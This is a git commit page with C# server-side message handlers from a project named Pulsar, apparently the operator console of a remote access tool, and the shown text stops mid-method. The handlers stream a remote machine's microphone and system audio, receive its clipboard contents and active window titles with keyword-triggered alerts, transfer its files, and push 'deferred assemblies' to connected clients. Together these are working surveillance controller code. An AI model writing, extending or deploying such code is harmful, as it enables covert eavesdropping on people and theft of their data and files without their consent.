initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
Binary file not shown.
+347
View File
@@ -0,0 +1,347 @@
using NAudio.Wave;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Audio;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the microphone.
/// </summary>
public class AudioHandler : MessageProcessorBase<Bitmap>, IDisposable
{
/// <summary>
/// States if the client is currently streaming microphone bits.
/// </summary>
public bool IsStarted { get; set; }
/// <summary>
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
/// </summary>
private readonly object _syncLock = new object();
/// <summary>
/// Represents the method that will handle microphone changes.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="device">All currently available microphones.</param>
public delegate void MicrophoneChangedEventHandler(object sender, List<Tuple<int, string>> device);
/// <summary>
/// Raised when a microphone changed.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event MicrophoneChangedEventHandler MicrophoneChanged;
/// <summary>
/// Represents the method that will handle audio data reception.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="audioData">The raw audio data bytes.</param>
public delegate void AudioDataReceivedEventHandler(object sender, byte[] audioData);
/// <summary>
/// Raised when audio data is received from the remote microphone.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event AudioDataReceivedEventHandler AudioDataReceived;
/// <summary>
/// Reports changed microphones.
/// </summary>
/// <param name="devices">All currently available microphones.</param>
private void OnMicrophoneChanged(List<Tuple<int, string>> devices)
{
SynchronizationContext.Post(dvce =>
{
var handler = MicrophoneChanged;
handler?.Invoke(this, (List<Tuple<int, string>>)dvce);
}, devices);
}
/// <summary>
/// Reports received audio data.
/// </summary>
/// <param name="audioData">The raw audio data bytes.</param>
private void OnAudioDataReceived(byte[] audioData)
{
SynchronizationContext.Post(data =>
{
var handler = AudioDataReceived;
handler?.Invoke(this, (byte[])data);
}, audioData);
}
/// <summary>
/// The client which is associated with this audio handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// Initializes a new instance of the <see cref="AudioHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public AudioHandler(Client client) : base(true)
{
_client = client;
}
/// <summary>
/// Receives the bytes.
/// </summary>
private BufferedWaveProvider _provider;
/// <summary>
/// Plays the received audio
/// </summary>
private WaveOut _audioStream;
/// <summary>
/// Holds the desired bitrate
/// </summary>
public int _bitrate = 44100;
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetMicrophoneResponse || message is GetMicrophoneDeviceResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetMicrophoneResponse d:
Execute(sender, d);
break;
case GetMicrophoneDeviceResponse m:
Execute(sender, m);
break;
}
}
/// <summary>
/// Begins receiving frames from the client using the specified quality and display.
/// </summary>
/// <param name="device">The device to receive audio from.</param>
public void BeginReceiveAudio(int device)
{
lock (_syncLock)
{
try
{
if (IsStarted)
{
try
{
_client.Send(new GetMicrophone { DeviceIndex = device, Destroy = true });
}
catch (Exception ex)
{
Debug.WriteLine($"Error stopping existing microphone stream: {ex.Message}");
}
}
if (_audioStream != null)
{
try
{
_audioStream.Stop();
_audioStream.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine($"Error cleaning up existing microphone stream: {ex.Message}");
}
_audioStream = null;
_provider = null;
}
IsStarted = true;
_provider = new BufferedWaveProvider(new WaveFormat());
_audioStream = new WaveOut();
_audioStream.Init(_provider);
_audioStream.Play();
_client.Send(new GetMicrophone { CreateNew = true, DeviceIndex = device, Bitrate = _bitrate });
}
catch (NAudio.MmException ex)
{
// Handle the exception gracefully
IsStarted = false;
_provider = null;
_audioStream = null;
System.Windows.Forms.MessageBox.Show($"Error initializing audio device: {ex.Message}",
"Audio Error",
System.Windows.Forms.MessageBoxButtons.OK,
System.Windows.Forms.MessageBoxIcon.Error);
}
catch (Exception ex)
{
// Handle any other unexpected exceptions
IsStarted = false;
_provider = null;
_audioStream = null;
System.Windows.Forms.MessageBox.Show($"An unexpected error occurred: {ex.Message}",
"Audio Error",
System.Windows.Forms.MessageBoxButtons.OK,
System.Windows.Forms.MessageBoxIcon.Error);
}
}
}
/// <summary>
/// Ends receiving audio from the client.
/// </summary>
/// /// <param name="device">The device to stop.</param>
public void EndReceiveAudio(int device)
{
lock (_syncLock)
{
try
{
_client.Send(new GetMicrophone { DeviceIndex = device, Destroy = true });
}
catch (Exception ex)
{
Debug.WriteLine($"Error sending destroy message: {ex.Message}");
}
finally
{
IsStarted = false;
}
}
}
/// <summary>
/// Refreshes the available displays of the client.
/// </summary>
public void RefreshMicrophones()
{
_client.Send(new GetMicrophoneDevice());
}
private void Execute(ISender client, GetMicrophoneResponse message)
{
lock (_syncLock)
{
try
{
if (!IsStarted)
return;
if (message?.Audio == null || message.Audio.Length == 0)
{
return;
}
if (_provider == null)
{
return;
}
OnAudioDataReceived(message.Audio);
_provider.AddSamples(message.Audio, 0, message.Audio.Length);
message.Audio = null;
client.Send(new GetMicrophone { DeviceIndex = message.Device, Bitrate = _bitrate });
}
catch (ObjectDisposedException ex)
{
Debug.WriteLine($"Audio resources disposed: {ex.Message}");
IsStarted = false;
}
catch (InvalidOperationException ex)
{
Debug.WriteLine($"Audio stream invalid operation: {ex.Message}");
IsStarted = false;
}
catch (Exception ex)
{
Debug.WriteLine($"Error processing microphone audio: {ex.Message}");
}
}
}
private void Execute(ISender client, GetMicrophoneDeviceResponse message)
{
OnMicrophoneChanged(message.DeviceInfos);
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_syncLock)
{
try
{
if (_audioStream != null)
{
try
{
_audioStream.Stop();
}
catch (Exception ex)
{
Debug.WriteLine($"Error stopping microphone stream: {ex.Message}");
}
try
{
_provider?.ClearBuffer();
}
catch (Exception ex)
{
Debug.WriteLine($"Error clearing microphone buffer: {ex.Message}");
}
try
{
_audioStream.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine($"Error disposing microphone stream: {ex.Message}");
}
_audioStream = null;
_provider = null;
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in microphone dispose: {ex.Message}");
}
finally
{
IsStarted = false;
}
}
}
}
}
}
@@ -0,0 +1,348 @@
using NAudio.Wave;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Audio;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the microphone.
/// </summary>
public class AudioOutputHandler : MessageProcessorBase<Bitmap>, IDisposable
{
/// <summary>
/// States if the client is currently streaming microphone bits.
/// </summary>
public bool IsStarted { get; set; }
/// <summary>
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
/// </summary>
private readonly object _syncLock = new object();
/// <summary>
/// Represents the method that will handle microphone changes.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="device">All currently available microphones.</param>
public delegate void OutputChangedEventHandler(object sender, List<Tuple<int, string>> device);
/// <summary>
/// Raised when a microphone changed.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event OutputChangedEventHandler OutputChanged;
/// <summary>
/// Represents the method that will handle audio data reception.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="audioData">The raw audio data bytes.</param>
public delegate void AudioDataReceivedEventHandler(object sender, byte[] audioData);
/// <summary>
/// Raised when audio data is received from the remote system audio.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event AudioDataReceivedEventHandler AudioDataReceived;
/// <summary>
/// Reports changed microphones.
/// </summary>
/// <param name="devices">All currently available microphones.</param>
private void OnOutputChanged(List<Tuple<int, string>> devices)
{
SynchronizationContext.Post(dvce =>
{
var handler = OutputChanged;
handler?.Invoke(this, (List<Tuple<int, string>>)dvce);
}, devices);
}
/// <summary>
/// Reports received audio data.
/// </summary>
/// <param name="audioData">The raw audio data bytes.</param>
private void OnAudioDataReceived(byte[] audioData)
{
SynchronizationContext.Post(data =>
{
var handler = AudioDataReceived;
handler?.Invoke(this, (byte[])data);
}, audioData);
}
/// <summary>
/// The client which is associated with this audio handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// Initializes a new instance of the <see cref="AudioHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public AudioOutputHandler(Client client) : base(true)
{
_client = client;
}
/// <summary>
/// Receives the bytes.
/// </summary>
private BufferedWaveProvider _provider;
/// <summary>
/// Plays the received audio
/// </summary>
private WaveOut _audioStream;
/// <summary>
/// Holds the desired bitrate
/// </summary>
public int _bitrate = 44100;
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetOutputResponse || message is GetOutputDeviceResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetOutputResponse d:
Execute(sender, d);
break;
case GetOutputDeviceResponse m:
Execute(sender, m);
break;
}
}
/// <summary>
/// Begins receiving frames from the client using the specified quality and display.
/// </summary>
/// <param name="device">The device to receive audio from.</param>
public void BeginReceiveAudio(int device)
{
lock (_syncLock)
{
try
{
if (IsStarted)
{
try
{
_client.Send(new GetOutput { DeviceIndex = device, Destroy = true });
}
catch (Exception ex)
{
Debug.WriteLine($"Error stopping existing stream: {ex.Message}");
}
}
if (_audioStream != null)
{
try
{
_audioStream.Stop();
_audioStream.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine($"Error cleaning up existing audio stream: {ex.Message}");
}
_audioStream = null;
_provider = null;
}
IsStarted = true;
WaveFormat waveFormat = new WaveFormat(_bitrate, 2); // 2 channels (stereo) as default
_provider = new BufferedWaveProvider(waveFormat);
_audioStream = new WaveOut();
_audioStream.Init(_provider);
_audioStream.Play();
_client.Send(new GetOutput { CreateNew = true, DeviceIndex = device, Bitrate = _bitrate });
}
catch (NAudio.MmException ex)
{
// Handle the exception gracefully
IsStarted = false;
_provider = null;
_audioStream = null;
System.Windows.Forms.MessageBox.Show($"Error initializing audio output device: {ex.Message}",
"Audio Error",
System.Windows.Forms.MessageBoxButtons.OK,
System.Windows.Forms.MessageBoxIcon.Error);
}
catch (Exception ex)
{
// Handle any other unexpected exceptions
IsStarted = false;
_provider = null;
_audioStream = null;
System.Windows.Forms.MessageBox.Show($"An unexpected error occurred: {ex.Message}",
"Audio Error",
System.Windows.Forms.MessageBoxButtons.OK,
System.Windows.Forms.MessageBoxIcon.Error);
}
}
}
/// <summary>
/// Ends receiving audio from the client.
/// </summary>
/// /// <param name="device">The device to stop.</param>
public void EndReceiveAudio(int device)
{
lock (_syncLock)
{
try
{
_client.Send(new GetOutput { DeviceIndex = device, Destroy = true });
}
catch (Exception ex)
{
Debug.WriteLine($"Error sending destroy message: {ex.Message}");
}
finally
{
IsStarted = false;
}
}
}
/// <summary>
/// Refreshes the available displays of the client.
/// </summary>
public void RefreshOutput()
{
_client.Send(new GetOutputDevice());
}
private void Execute(ISender client, GetOutputResponse message)
{
lock (_syncLock)
{
try
{
if (!IsStarted)
return;
if (message?.Audio == null || message.Audio.Length == 0)
{
return;
}
if (_provider == null)
{
return;
}
OnAudioDataReceived(message.Audio);
_provider.AddSamples(message.Audio, 0, message.Audio.Length);
message.Audio = null;
client.Send(new GetOutput { DeviceIndex = message.Device, Bitrate = _bitrate });
}
catch (ObjectDisposedException ex)
{
Debug.WriteLine($"Audio resources disposed: {ex.Message}");
IsStarted = false;
}
catch (InvalidOperationException ex)
{
Debug.WriteLine($"Audio stream invalid operation: {ex.Message}");
IsStarted = false;
}
catch (Exception ex)
{
Debug.WriteLine($"Error processing audio output: {ex.Message}");
}
}
}
private void Execute(ISender client, GetOutputDeviceResponse message)
{
OnOutputChanged(message.DeviceInfos);
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_syncLock)
{
try
{
if (_audioStream != null)
{
try
{
_audioStream.Stop();
}
catch (Exception ex)
{
Debug.WriteLine($"Error stopping audio stream: {ex.Message}");
}
try
{
_provider?.ClearBuffer();
}
catch (Exception ex)
{
Debug.WriteLine($"Error clearing audio buffer: {ex.Message}");
}
try
{
_audioStream.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine($"Error disposing audio stream: {ex.Message}");
}
_audioStream = null;
_provider = null;
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in audio dispose: {ex.Message}");
}
finally
{
IsStarted = false;
}
}
}
}
}
}
+74
View File
@@ -0,0 +1,74 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Forms;
using Pulsar.Server.Networking;
using System.Windows.Forms;
namespace Pulsar.Server.Messages
{
// I literally copied all of this from another handler and shoved it in here
/// <summary>
/// Handles messages for the interaction with the remote client status.
/// </summary>
public class ClientDebugLog : MessageProcessorBase<object>
{
public delegate void DebugLogEventHandler(object sender, Client client, string log);
public event DebugLogEventHandler DebugLogReceived;
public ClientDebugLog() : base(true)
{
}
public override bool CanExecute(IMessage message)
{
return message is GetDebugLog;
}
public override bool CanExecuteFrom(ISender sender)
{
return true;
}
public override void Execute(ISender sender, IMessage message)
{
if (message is GetDebugLog logMessage)
{
Execute((Client)sender, logMessage);
}
}
private void Execute(Client client, GetDebugLog message)
{
DebugLogReceived?.Invoke(this, client, message.Log);
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
if (frm != null)
{
frm.EventLog("[CLIENT ERROR: " + client.Value.UserAtPc + ": " + message.Log, "error");
LogToFile("[CLIENT ERROR: " + client.Value.UserAtPc + ": " + message.Log);
}
}
private void LogToFile(string text)
{
//check if log file exists. If it does append to it.
string logFilePath = "client_debug_log.txt";
if (System.IO.File.Exists(logFilePath))
{
using (var writer = new System.IO.StreamWriter(logFilePath, true))
{
writer.WriteLine($"{System.DateTime.Now}: {text}");
}
}
else
{
using (var writer = new System.IO.StreamWriter(logFilePath))
{
writer.WriteLine($"{System.DateTime.Now}: {text}");
}
}
}
}
}
@@ -0,0 +1,266 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Forms;
using Pulsar.Server.Helper;
using Pulsar.Server.Networking;
using System;
using System.IO;
using System.Linq;
using System.Threading;
using Newtonsoft.Json;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote client status.
/// </summary>
public class ClientStatusHandler : MessageProcessorBase<object>
{
/// <summary>
/// Represents the method that will handle status updates.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="client">The client which updated the status.</param>
/// <param name="statusMessage">The new status.</param>
public delegate void StatusUpdatedEventHandler(object sender, Client client, string statusMessage);
/// <summary>
/// Represents the method that will handle user status updates.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="client">The client which updated the user status.</param>
/// <param name="userStatusMessage">The new user status.</param>
public delegate void UserStatusUpdatedEventHandler(object sender, Client client, UserStatus userStatusMessage);
public delegate void UserActiveWindowStatusUpdatedEventHandler(object sender, Client client, string newWindow);
public delegate void UserClipboardStatusUpdatedEventHandler(object sender, Client client, string clipboardText);
/// <summary>
/// Raised when a client updated its status.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event StatusUpdatedEventHandler StatusUpdated;
/// <summary>
/// Raised when a client updated its user status.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event UserStatusUpdatedEventHandler UserStatusUpdated;
public event UserActiveWindowStatusUpdatedEventHandler UserActiveWindowStatusUpdated;
public event UserClipboardStatusUpdatedEventHandler UserClipboardStatusUpdated;
/// <summary>
/// Reports an updated status.
/// </summary>
/// <param name="client">The client which updated the status.</param>
/// <param name="statusMessage">The new status.</param>
private void OnStatusUpdated(Client client, string statusMessage)
{
SynchronizationContext.Post(c =>
{
var handler = StatusUpdated;
handler?.Invoke(this, (Client)c, statusMessage);
}, client);
}
/// <summary>
/// Reports an updated user status.
/// </summary>
/// <param name="client">The client which updated the user status.</param>
/// <param name="userStatusMessage">The new user status.</param>
private void OnUserStatusUpdated(Client client, UserStatus userStatusMessage)
{
SynchronizationContext.Post(c =>
{
var handler = UserStatusUpdated;
handler?.Invoke(this, (Client)c, userStatusMessage);
}, client);
}
private void OnUserActiveWindowStatusUpdated(Client client, string newWindow)
{
SynchronizationContext.Post(c =>
{
var handler = UserActiveWindowStatusUpdated;
handler?.Invoke(this, (Client)c, newWindow);
}, client);
}
private void OnUserClipboardStatusUpdated(Client client, string clipboardText)
{
SynchronizationContext.Post(c =>
{
var handler = UserClipboardStatusUpdated;
handler?.Invoke(this, (Client)c, clipboardText);
}, client);
}
/// <summary>
/// Initializes a new instance of the <see cref="ClientStatusHandler"/> class.
/// </summary>
public ClientStatusHandler() : base(true)
{
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is SetStatus || message is SetUserStatus || message is SetUserActiveWindowStatus || message is SetUserClipboardStatus;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => true;
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case SetStatus status:
Execute((Client)sender, status);
break;
case SetUserStatus userStatus:
Execute((Client)sender, userStatus);
break;
case SetUserActiveWindowStatus userActiveWindowStatus:
Execute((Client)sender, userActiveWindowStatus);
break;
case SetUserClipboardStatus userClipboardStatus:
Execute((Client)sender, userClipboardStatus);
break;
}
}
private void Execute(Client client, SetStatus message)
{
OnStatusUpdated(client, message.Message);
}
private void Execute(Client client, SetUserStatus message)
{
OnUserStatusUpdated(client, message.Message);
}
private void Execute(Client client, SetUserActiveWindowStatus message)
{
OnUserActiveWindowStatusUpdated(client, message.WindowTitle);
if (message.WindowTitle == null)
{
return;
}
Task.Run(() =>
{
string keywordsFilePath = Path.Combine(Application.StartupPath, "PulsarStuff", "keywords.json");
if (File.Exists(keywordsFilePath))
{
string jsonContent = File.ReadAllText(keywordsFilePath);
var keywords = JsonConvert.DeserializeObject<string[]>(jsonContent);
if (keywords != null)
{
var matchedKeyword = keywords.FirstOrDefault(keyword => message.WindowTitle.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0);
if (matchedKeyword != null)
{
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
if (frm != null)
{
frm.Invoke(new Action(() =>
{
FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Keyword triggered: " + matchedKeyword, message.WindowTitle);
}));
}
}
}
}
});
}
private void Execute(Client client, SetUserClipboardStatus message)
{
OnUserClipboardStatusUpdated(client, message.ClipboardText);
if (string.IsNullOrEmpty(message.ClipboardText))
{
return;
}
if (client.ClipboardSyncEnabled)
{
try
{
Debug.WriteLine($"Server: Mirroring clipboard from client ({client.EndPoint}): {message.ClipboardText.Substring(0, Math.Min(20, message.ClipboardText.Length))}...");
ClipboardMonitor.NotifyReceivedFromClient(message.ClipboardText);
Thread clipboardThread = new Thread(() =>
{
try
{
Thread.CurrentThread.SetApartmentState(ApartmentState.STA);
Clipboard.SetText(message.ClipboardText);
Debug.WriteLine("Server: Successfully mirrored clipboard from client");
}
catch (Exception ex)
{
Debug.WriteLine($"Server: Error setting clipboard: {ex.Message}");
}
});
clipboardThread.SetApartmentState(ApartmentState.STA);
clipboardThread.Start();
clipboardThread.Join(1000);
}
catch (Exception ex)
{
Debug.WriteLine($"Server: Error in clipboard thread creation: {ex.Message}");
}
}
else
{
Debug.WriteLine("Server: Clipboard sync disabled for this client; skipping host clipboard update.");
}
Task.Run(() =>
{
string keywordsFilePath = Path.Combine(Directory.GetCurrentDirectory(), "keywords.json");
if (File.Exists(keywordsFilePath))
{
string jsonContent = File.ReadAllText(keywordsFilePath);
var keywords = JsonConvert.DeserializeObject<string[]>(jsonContent);
if (keywords != null)
{
var matchedKeyword = keywords.FirstOrDefault(keyword => message.ClipboardText.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0);
if (matchedKeyword != null)
{
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
if (frm != null)
{
frm.Invoke(new Action(() =>
{
FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Keyword triggered (Clipboard): " + matchedKeyword, message.ClipboardText);
}));
}
}
}
}
});
}
}
}
@@ -0,0 +1,61 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Utilities;
using System;
using System.Diagnostics;
using System.Linq;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles client requests for deferred assemblies and responds with the necessary payloads.
/// </summary>
public class DeferredAssemblyHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is RequestDeferredAssemblies;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (sender == null)
{
return;
}
var request = message as RequestDeferredAssemblies;
if (request == null || request.Assemblies == null || request.Assemblies.Length == 0)
{
Debug.WriteLine("[DeferredAssemblyHandler] Received empty deferred assembly request.");
return;
}
try
{
var descriptors = DeferredAssemblyProvider.GetAssemblies(request.Assemblies)
.Where(descriptor => descriptor != null)
.ToList();
if (descriptors.Count == 0)
{
Debug.WriteLine("[DeferredAssemblyHandler] No assemblies could be resolved for request.");
return;
}
var package = new DeferredAssembliesPackage
{
Assemblies = descriptors,
IsComplete = true
};
sender.Send(package);
Debug.WriteLine($"[DeferredAssemblyHandler] Sent {descriptors.Count} deferred assemblies.");
}
catch (Exception ex)
{
Debug.WriteLine($"[DeferredAssemblyHandler] Failed to process deferred assembly request: {ex.Message}");
}
}
}
}
@@ -0,0 +1,674 @@
using Pulsar.Common.Enums;
using Pulsar.Common.IO;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.FileManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using Pulsar.Server.Enums;
using Pulsar.Server.Models;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with remote files and directories.
/// </summary>
public class FileManagerHandler : MessageProcessorBase<string>, IDisposable
{
/// <summary>
/// Represents the method that will handle drive changes.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="drives">All currently available drives.</param>
public delegate void DrivesChangedEventHandler(object sender, Drive[] drives);
/// <summary>
/// Represents the method that will handle directory changes.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="remotePath">The remote path of the directory.</param>
/// <param name="items">The directory content.</param>
public delegate void DirectoryChangedEventHandler(object sender, string remotePath, FileSystemEntry[] items);
/// <summary>
/// Represents the method that will handle file transfer updates.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="transfer">The updated file transfer.</param>
public delegate void FileTransferUpdatedEventHandler(object sender, FileTransfer transfer);
/// <summary>
/// Raised when drives changed.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event DrivesChangedEventHandler DrivesChanged;
/// <summary>
/// Raised when a directory changed.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event DirectoryChangedEventHandler DirectoryChanged;
/// <summary>
/// Raised when a file transfer updated.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event FileTransferUpdatedEventHandler FileTransferUpdated;
/// <summary>
/// Reports changed remote drives.
/// </summary>
/// <param name="drives">The current remote drives.</param>
private void OnDrivesChanged(Drive[] drives)
{
SynchronizationContext.Post(d =>
{
var handler = DrivesChanged;
handler?.Invoke(this, (Drive[])d);
}, drives);
}
/// <summary>
/// Reports a directory change.
/// </summary>
/// <param name="remotePath">The remote path of the directory.</param>
/// <param name="items">The directory content.</param>
private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items)
{
SynchronizationContext.Post(i =>
{
var handler = DirectoryChanged;
handler?.Invoke(this, remotePath, (FileSystemEntry[])i);
}, items);
}
/// <summary>
/// Reports updated file transfers.
/// </summary>
/// <param name="transfer">The updated file transfer.</param>
private void OnFileTransferUpdated(FileTransfer transfer)
{
SynchronizationContext.Post(t =>
{
var handler = FileTransferUpdated;
handler?.Invoke(this, (FileTransfer)t);
}, transfer.Clone());
}
/// <summary>
/// Keeps track of all active file transfers. Finished or canceled transfers get removed.
/// </summary>
private readonly List<FileTransfer> _activeFileTransfers = new List<FileTransfer>();
/// <summary>
/// Used in lock statements to synchronize access between UI thread and thread pool.
/// </summary>
private readonly object _syncLock = new object();
/// <summary>
/// The client which is associated with this file manager handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// Used to only allow two simultaneous file uploads.
/// </summary>
private readonly Semaphore _limitThreads = new Semaphore(2, 2);
/// <summary>
/// Path to the base download directory of the client.
/// </summary>
private readonly string _baseDownloadPath;
private readonly TaskManagerHandler _taskManagerHandler;
/// <summary>
/// Initializes a new instance of the <see cref="FileManagerHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
/// <param name="subDirectory">Optional sub directory name.</param>
public FileManagerHandler(Client client, string subDirectory = "") : base(true)
{
_client = client;
_baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, subDirectory);
_taskManagerHandler = new TaskManagerHandler(client);
_taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed;
MessageHandler.Register(_taskManagerHandler);
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is FileTransferChunk ||
message is FileTransferCancel ||
message is FileTransferComplete ||
message is GetDrivesResponse ||
message is GetDirectoryResponse ||
message is SetStatusFileManager ||
message is DoZipFolder;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case FileTransferChunk file:
Execute(sender, file);
break;
case FileTransferCancel cancel:
Execute(sender, cancel);
break;
case FileTransferComplete complete:
Execute(sender, complete);
break;
case GetDrivesResponse drive:
Execute(sender, drive);
break;
case GetDirectoryResponse directory:
Execute(sender, directory);
break;
case SetStatusFileManager status:
Execute(sender, status);
break;
case DoZipFolder zipFolder:
Execute(sender, zipFolder);
break;
}
}
private void Execute(ISender client, DoZipFolder message)
{
client.Send(message);
}
public void ZipFolder(string sourcePath, string destinationPath, int compressionLevel)
{
var zipMessage = new DoZipFolder
{
SourcePath = sourcePath,
DestinationPath = destinationPath,
CompressionLevel = compressionLevel
};
_client.Send(zipMessage);
}
/// <summary>
/// Sanitizes a filename to prevent path traversal attacks.
/// </summary>
/// <param name="fileName">The filename to sanitize.</param>
/// <returns>A safe filename or null if the filename is invalid.</returns>
private string SanitizeFileName(string fileName)
{
if (string.IsNullOrEmpty(fileName))
return null;
fileName = Path.GetFileName(fileName);
if (string.IsNullOrEmpty(fileName) || fileName.Contains(".."))
return null;
char[] invalidChars = Path.GetInvalidFileNameChars();
if (fileName.IndexOfAny(invalidChars) >= 0)
return null;
if (fileName.StartsWith(".") || fileName.Equals("desktop.ini", StringComparison.OrdinalIgnoreCase))
return null;
return fileName;
}
/// <summary>
/// Begins downloading a file from the client.
/// </summary>
/// <param name="remotePath">The remote path of the file to download.</param>
/// <param name="localFileName">The local file name.</param>
/// <param name="overwrite">Overwrite the local file with the newly downloaded.</param>
public void BeginDownloadFile(string remotePath, string localFileName = "", bool overwrite = false)
{
if (string.IsNullOrEmpty(remotePath))
return;
int id = GetUniqueFileTransferId();
if (!Directory.Exists(_baseDownloadPath))
Directory.CreateDirectory(_baseDownloadPath);
string fileName = string.IsNullOrEmpty(localFileName) ? Path.GetFileName(remotePath) : localFileName;
// SECURITY FIX: Validate and sanitize filename to prevent path traversal
fileName = SanitizeFileName(fileName);
if (fileName == null)
{
OnReport("Download failed: Invalid filename");
return;
}
string localPath = Path.Combine(_baseDownloadPath, fileName);
// SECURITY FIX: Ensure the resolved path stays within the download directory
try
{
string fullPath = Path.GetFullPath(localPath);
string baseDir = Path.GetFullPath(_baseDownloadPath);
